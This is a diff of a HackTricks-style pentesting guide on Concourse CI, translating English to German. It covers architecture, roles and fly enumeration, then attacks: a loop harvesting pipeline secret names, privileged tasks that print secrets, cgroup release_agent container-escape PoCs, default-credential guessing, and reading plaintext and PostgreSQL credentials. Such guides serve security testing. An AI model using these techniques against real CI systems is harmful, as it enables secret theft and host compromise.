|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +1,33 @@
|
||||
# Concourse Security
|
||||
# Concourse-Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Grundinformationen
|
||||
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
Concourse ermöglicht es Ihnen, **Pipelines** zu erstellen, um automatisch Tests, Aktionen auszuführen und Bilder zu erstellen, wann immer Sie es benötigen (zeitbasiert, wenn etwas passiert...)
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse-Architektur
|
||||
|
||||
Learn how the concourse environment is structured in:
|
||||
Erfahren Sie, wie die Concourse-Umgebung strukturiert ist in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Concourse Lab
|
||||
## Concourse-Labor
|
||||
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
Erfahren Sie, wie Sie eine Concourse-Umgebung lokal ausführen können, um Ihre eigenen Tests durchzuführen in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumerate & Attack Concourse
|
||||
## Enumerieren & Angreifen von Concourse
|
||||
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
Erfahren Sie, wie Sie die Concourse-Umgebung enumerieren und missbrauchen können in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,38 @@
|
||||
# Concourse Architecture
|
||||
# Concourse-Architektur
|
||||
|
||||
## Concourse Architecture
|
||||
## Concourse-Architektur
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
[**Relevante Daten aus der Concourse-Dokumentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
### Architektur
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: web UI & build scheduler
|
||||
#### ATC: Web-UI & Build-Planer
|
||||
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
Der ATC ist das Herz von Concourse. Er betreibt die **Web-UI und API** und ist verantwortlich für die gesamte Pipeline-**Planung**. Er **verbindet sich mit PostgreSQL**, das er zur Speicherung von Pipeline-Daten (einschließlich Build-Protokollen) verwendet.
|
||||
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
Die Verantwortung des [Checkers](https://concourse-ci.org/checker.html) besteht darin, kontinuierlich nach neuen Versionen von Ressourcen zu suchen. Der [Scheduler](https://concourse-ci.org/scheduler.html) ist verantwortlich für die Planung von Builds für einen Job und der [Build-Tracker](https://concourse-ci.org/build-tracker.html) ist verantwortlich für die Ausführung aller geplanten Builds. Der [Garbage Collector](https://concourse-ci.org/garbage-collector.html) ist der Bereinigungsmechanismus zum Entfernen von nicht verwendeten oder veralteten Objekten, wie Containern und Volumes.
|
||||
|
||||
#### TSA: worker registration & forwarding
|
||||
#### TSA: Worker-Registrierung & Weiterleitung
|
||||
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
Die TSA ist ein **maßgeschneiderter SSH-Server**, der ausschließlich zur sicheren **Registrierung** von [**Workern**](https://concourse-ci.org/internals.html#architecture-worker) beim [ATC](https://concourse-ci.org/internals.html#component-atc) verwendet wird.
|
||||
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
Die TSA hört **standardmäßig auf Port `2222`** und ist normalerweise zusammen mit dem [ATC](https://concourse-ci.org/internals.html#component-atc) und hinter einem Lastenausgleichsgerät platziert.
|
||||
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
Die **TSA implementiert CLI über die SSH-Verbindung** und unterstützt [**diese Befehle**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### Workers
|
||||
#### Worker
|
||||
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
Um Aufgaben auszuführen, muss Concourse einige Worker haben. Diese Worker **registrieren sich selbst** über die [TSA](https://concourse-ci.org/internals.html#component-tsa) und führen die Dienste [**Garden**](https://github.com/cloudfoundry-incubator/garden) und [**Baggageclaim**](https://github.com/concourse/baggageclaim) aus.
|
||||
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
- **Garden**: Dies ist die **Container Management API**, die normalerweise auf **Port 7777** über **HTTP** ausgeführt wird.
|
||||
- **Baggageclaim**: Dies ist die **Volume Management API**, die normalerweise auf **Port 7788** über **HTTP** ausgeführt wird.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,49 +4,47 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### User Roles & Permissions
|
||||
### Benutzerrollen & Berechtigungen
|
||||
|
||||
Concourse comes with five roles:
|
||||
Concourse kommt mit fünf Rollen:
|
||||
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
- _Concourse_ **Admin**: Diese Rolle wird nur den Eigentümern des **Hauptteams** (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können **andere Teams konfigurieren** (z.B.: `fly set-team`, `fly destroy-team`...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden.
|
||||
- **owner**: Team-Eigentümer können **alles innerhalb des Teams ändern**.
|
||||
- **member**: Team-Mitglieder können **lesen und schreiben** innerhalb der **Teamressourcen**, können jedoch die Teameinstellungen nicht ändern.
|
||||
- **pipeline-operator**: Pipeline-Betreiber können **Pipeline-Operationen** wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
|
||||
- **viewer**: Team-Zuschauer haben **"Nur-Lese"-Zugriff auf ein Team** und dessen Pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Darüber hinaus können die **Berechtigungen der Rollen owner, member, pipeline-operator und viewer geändert werden**, indem RBAC konfiguriert wird (genauer gesagt, dessen Aktionen). Lesen Sie mehr darüber unter: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
Beachten Sie, dass Concourse **Pipelines innerhalb von Teams gruppiert**. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und **mehrere Teams** können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
In den YAML-Konfigurationen können Sie Werte mit der Syntax `((_source-name_:_secret-path_._secret-field_))` konfigurieren.\
|
||||
[Aus den Dokumenten:](https://concourse-ci.org/vars.html#var-syntax) Der **source-name ist optional**, und wenn er weggelassen wird, wird der [clusterweite Credential Manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) verwendet, oder der Wert kann [statisch](https://concourse-ci.org/vars.html#static-vars) bereitgestellt werden.\
|
||||
Das **optionale \_secret-field**\_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.\
|
||||
Darüber hinaus können der _**secret-path**_ und _**secret-field**_ von doppelten Anführungszeichen `"..."` umgeben werden, wenn sie **spezielle Zeichen** wie `.` und `:` enthalten. Zum Beispiel wird `((source:"my.secret"."field:1"))` den _secret-path_ auf `my.secret` und das _secret-field_ auf `field:1` setzen.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Static vars can be specified in **tasks steps**:
|
||||
#### Statische Vars
|
||||
|
||||
Statische Vars können in **Aufgaben-Schritten** angegeben werden:
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
- `-v` or `--var` `NAME=VALUE` setzt den String `VALUE` als Wert für die Variable `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Variable `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` analysiert `VALUE` als YAML und setzt es als Wert für die Instanzvariable `NAME`. Siehe [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) um mehr über Instanzvariablen zu erfahren.
|
||||
- `-l` or `--load-vars-from` `FILE` lädt `FILE`, ein YAML-Dokument, das Variablennamen mit Werten verknüpft, und setzt sie alle.
|
||||
|
||||
#### Credential Management
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
Es gibt verschiedene Möglichkeiten, wie ein **Credential Manager in einer Pipeline angegeben werden kann**, lesen Sie mehr in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -59,160 +57,151 @@ Moreover, Concourse supports different credential managers:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
> Beachten Sie, dass wenn Sie eine Art von **Schreibzugriff auf Concourse** haben, Sie Jobs erstellen können, um **diese Geheimnisse zu exfiltrieren**, da Concourse in der Lage sein muss, auf sie zuzugreifen.
|
||||
|
||||
### Concourse Enumeration
|
||||
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst **gültige Anmeldeinformationen sammeln** oder ein **authentifiziertes Token** finden, wahrscheinlich in einer `.flyrc`-Konfigurationsdatei.
|
||||
|
||||
#### Login and Current User enum
|
||||
#### Login und aktueller Benutzer enum
|
||||
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
- Um sich anzumelden, müssen Sie den **Endpunkt**, den **Teamnamen** (Standard ist `main`) und ein **Team, dem der Benutzer angehört** kennen:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Konfigurierte **Ziele** abrufen:
|
||||
- `fly targets`
|
||||
- Überprüfen, ob die konfigurierte **Zielverbindung** noch **gültig** ist:
|
||||
- `fly -t <target> status`
|
||||
- **Rolle** des Benutzers gegenüber dem angegebenen Ziel abrufen:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
> Beachten Sie, dass das **API-Token** standardmäßig in `$HOME/.flyrc` **gespeichert** wird. Wenn Sie eine Maschine ausrauben, könnten Sie dort die Anmeldeinformationen finden.
|
||||
|
||||
#### Teams & Users
|
||||
#### Teams & Benutzer
|
||||
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
- Eine Liste der Teams abrufen
|
||||
- `fly -t <target> teams`
|
||||
- Rollen innerhalb des Teams abrufen
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Eine Liste der Benutzer abrufen
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
- **Liste** der Pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Pipeline** YAML abrufen (**sensible Informationen** könnten in der Definition gefunden werden):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Alle **konfigurierten Variablen** der Pipeline abrufen
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Alle **Namen der verwendeten Geheimnisse in den Pipelines** abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container übernehmen können, könnten Sie sie exfiltrieren):
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
#### Container & Worker
|
||||
|
||||
#### Containers & Workers
|
||||
- Liste **Worker**:
|
||||
- `fly -t <target> workers`
|
||||
- Liste **Container**:
|
||||
- `fly -t <target> containers`
|
||||
- Liste **Builds** (um zu sehen, was läuft):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
### Concourse Angriffe
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
#### Credentials Brute-Force
|
||||
#### Brute-Force von Anmeldeinformationen
|
||||
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Secrets and params enumeration
|
||||
#### Aufzählung von Geheimnissen und Parametern
|
||||
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
Im vorherigen Abschnitt haben wir gesehen, wie Sie **alle Geheimnisnamen und Variablen** abrufen können, die von der Pipeline verwendet werden. Die **Variablen können sensible Informationen enthalten** und der Name der **Geheimnisse wird später nützlich sein, um zu versuchen, sie zu stehlen**.
|
||||
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
#### Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers
|
||||
|
||||
Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **Pipelines und Rollen auflisten** und einfach eine **Sitzung innerhalb** des `<pipeline>/<job>` **Containers** mit folgendem Befehl erhalten:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
Mit diesen Berechtigungen könnten Sie in der Lage sein:
|
||||
|
||||
With these permissions you might be able to:
|
||||
- **Die Geheimnisse** im **Container** zu stehlen
|
||||
- Versuchen, zum Knoten zu **entkommen**
|
||||
- Den **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
|
||||
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
#### Pipeline-Erstellung/-Änderung
|
||||
|
||||
Wenn Sie über ausreichende Berechtigungen (**Mitgliedsrolle oder mehr**) verfügen, können Sie **neue Pipelines erstellen/ändern.** Überprüfen Sie dieses Beispiel:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Mit der **Änderung/Erstellung** einer neuen Pipeline können Sie:
|
||||
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
- **Geheime Informationen stehlen** (indem Sie sie ausgeben oder in den Container gelangen und `env` ausführen)
|
||||
- **Entkommen** zum **Knoten** (indem Sie Ihnen genügend Berechtigungen geben - `privileged: true`)
|
||||
- **Cloud-Metadaten**-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten)
|
||||
- **Gelöschte** Pipeline erstellen
|
||||
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
#### Benutzerdefinierte Aufgabe ausführen
|
||||
|
||||
Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganz neue Pipeline zu ändern/zu erstellen, können Sie **einfach eine benutzerdefinierte Aufgabe ausführen** (die wahrscheinlich viel **heimlicher** sein wird):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Entkommen zum Knoten von privilegierter Aufgabe
|
||||
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
In den vorherigen Abschnitten haben wir gesehen, wie man **eine privilegierte Aufgabe mit concourse ausführt**. Dies gibt dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass das Entkommen "komplexer" sein könnte.
|
||||
|
||||
In der folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen zu entkommen:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
> Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine [**reguläre release_agent-Escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md), bei der der Pfad des cmd im Knoten geändert wird.
|
||||
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
#### Escape zum Knoten von einem Worker-Container
|
||||
|
||||
Eine reguläre release_agent-Escape mit einer kleinen Modifikation ist dafür ausreichend:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
Auch wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er **nicht als ein gewöhnlicher privilegierter Container** (zum Beispiel **kannst** du **nicht** **mounten** und die **Fähigkeiten** sind sehr **begrenzt**, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
|
||||
|
||||
Allerdings speichert er **lokale Anmeldeinformationen im Klartext**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -319,11 +304,9 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Du könntest diese Anmeldeinformationen verwenden, um **dich am Webserver anzumelden** und **einen privilegierten Container zu erstellen und zum Knoten zu entkommen**.
|
||||
|
||||
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
|
||||
|
||||
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
|
||||
|
||||
In der Umgebung kannst du auch Informationen finden, um **auf die postgresql**-Instanz zuzugreifen, die concourse verwendet (Adresse, **Benutzername**, **Passwort** und Datenbank unter anderem Informationen):
|
||||
```bash
|
||||
env | grep -i postg
|
||||
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
|
||||
@@ -344,39 +327,35 @@ select * from refresh_token;
|
||||
select * from teams; #Change the permissions of the users in the teams
|
||||
select * from users;
|
||||
```
|
||||
|
||||
#### Abusing Garden Service - Not a real Attack
|
||||
#### Missbrauch des Garden-Dienstes - Kein echter Angriff
|
||||
|
||||
> [!WARNING]
|
||||
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
|
||||
> Dies sind nur einige interessante Hinweise zum Dienst, aber da er nur auf localhost hört, werden diese Hinweise keinen Einfluss haben, den wir nicht bereits zuvor ausgenutzt haben.
|
||||
|
||||
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
|
||||
Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Web-Master verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
|
||||
|
||||
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
|
||||
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
|
||||
|
||||
Concourse workers run with high container privileges:
|
||||
- Er ist nur **lokal exponiert** (127..0.0.1) und ich denke, wenn der Worker sich mit dem Web über den speziellen SSH-Dienst authentifiziert, wird ein Tunnel erstellt, damit der Webserver **mit jedem Garden-Dienst** innerhalb jedes Workers **kommunizieren kann**.
|
||||
- Der Webserver **überwacht die laufenden Container alle paar Sekunden**, und **unerwartete** Container werden **gelöscht**. Wenn Sie also einen **benutzerdefinierten Container ausführen** möchten, müssen Sie mit der **Kommunikation** zwischen dem Webserver und dem Garden-Dienst **manipulieren**.
|
||||
|
||||
Concourse-Worker laufen mit hohen Containerprivilegien:
|
||||
```
|
||||
Container Runtime: docker
|
||||
Has Namespaces:
|
||||
pid: true
|
||||
user: false
|
||||
pid: true
|
||||
user: false
|
||||
AppArmor Profile: kernel
|
||||
Capabilities:
|
||||
